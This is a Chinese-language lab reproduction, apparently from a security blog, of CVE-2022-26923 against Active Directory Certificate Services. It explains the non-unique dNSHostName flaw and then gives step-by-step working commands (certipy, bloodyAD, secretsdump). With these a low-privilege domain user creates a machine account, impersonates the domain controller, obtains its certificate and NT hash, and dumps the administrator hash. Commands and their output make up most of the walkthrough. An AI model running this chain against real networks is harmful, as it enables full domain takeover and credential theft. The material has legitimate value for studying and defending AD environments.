原理
由于Windows并未对dNSHostName做唯一性判断,攻击者获取到域内低权限账户后可以利用该漏洞向证书服务请求颁发和其他账户关联的证书,并向域控发起身份验证,从而获取到域管理员权限,通过域管理员权限可以控制域里面的所有机器。
只有dNSHostName属性影响ADCS服务器生成对应机器的证书。并且在域内dNsHostName属性不具有唯一性,因此可以利用普通域用户创建机器用户,然后修改该机器用户的dNSHostName属性为域控,利用域控机器账号的DCSync权限导出域内任意用户哈希
利用流程
- 定位证书服务器
- 获取一个域用户账号和密码
- 使用域用户账号和密码注册一个机器账号
- 将主机对象的dNSHostName属性更改为域控的名称
- 使⽤certipy以机器账号身份请求⼀个Machine类型的证书。
- 使用证书认证,获取域控权限,导出域内任意用户哈希
环境
hacker.com
域控(Windows server 2016):192.168.179.136
域内ADCS服务器(Windows server 2012):192.168.179.138
攻击机:192.168.179.132
复现
定位证书服务器
域内
1 2
| certutil -config - -ping certutil -dump -v
|
域外
1
| certipy find "hacker.com/adder:admin!@#45@192.168.179.136"
|
记录一下CA Name和DNS Name,之后会用到
1 2
| hacker-WEB-CA WEB.hacker.com
|

将域控DNS和证书服务器DNS添加到攻击机器的host文件中
1 2
| 192.168.179.136 WIN-3M4FNJUCANJ.hacker.com 192.168.179.138 WEB.hacker.com
|

检测一下ms-DS-MachineAccountQuota
属性,看能否创建机器账户,默认允许所有域用户向域中添加最多10个计算机帐户
1
| python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 getObjectAttributes 'DC=hacker,DC=com' ms-DS-MachineAccountQuota
|

添加一个机器账号cve
1
| python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 addComputer cve 'CVEPassword1234*'
|

设置属性 dNSHostName(创建对象时为空)以匹配域控主机名WIN-3M4FNJUCANJ.hacker.com
1 2
| python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 setAttribute 'CN=cve,CN=Computers,DC=hacker,DC=com' dNSHostName '["WIN-3M4FNJUCANJ.hacker.com"]'
|

检测是否设置成功
1
| python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 getObjectAttributes 'CN=cve,CN=Computers,DC=hacker,DC=com' dNSHostName
|

使用certipy为机器账号cve
请求⼀个Machine类型的证书
1
| certipy req -dc-ip 192.168.179.136 "hacker.com/cve$:CVEPassword1234*@WEB.hacker.com" -ca hacker-WEB-CA -template Machine -debug
|

使用生成的证书获取TGT
得到域控机器账号WIN-3M4FNJUCANJ$
哈希为929c84bfbc947c4f0f48d9a2ffb9cb38
1 2
| certipy auth -pfx ./win-3m4fnjucanj.pfx -dc-ip 192.168.179.136 929c84bfbc947c4f0f48d9a2ffb9cb38
|

使用域控的机器账户认证,导出域管理员用户哈希
1
| python3 secretsdump.py hacker/WIN-3M4FNJUCANJ\$@192.168.179.136 -just-dc-user administrator -hashes "929c84bfbc947c4f0f48d9a2ffb9cb38:929c84bfbc947c4f0f48d9a2ffb9cb38"
|

参考
https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html
https://www.freebuf.com/vuls/333594.html
https://juejin.cn/post/7104276238667087886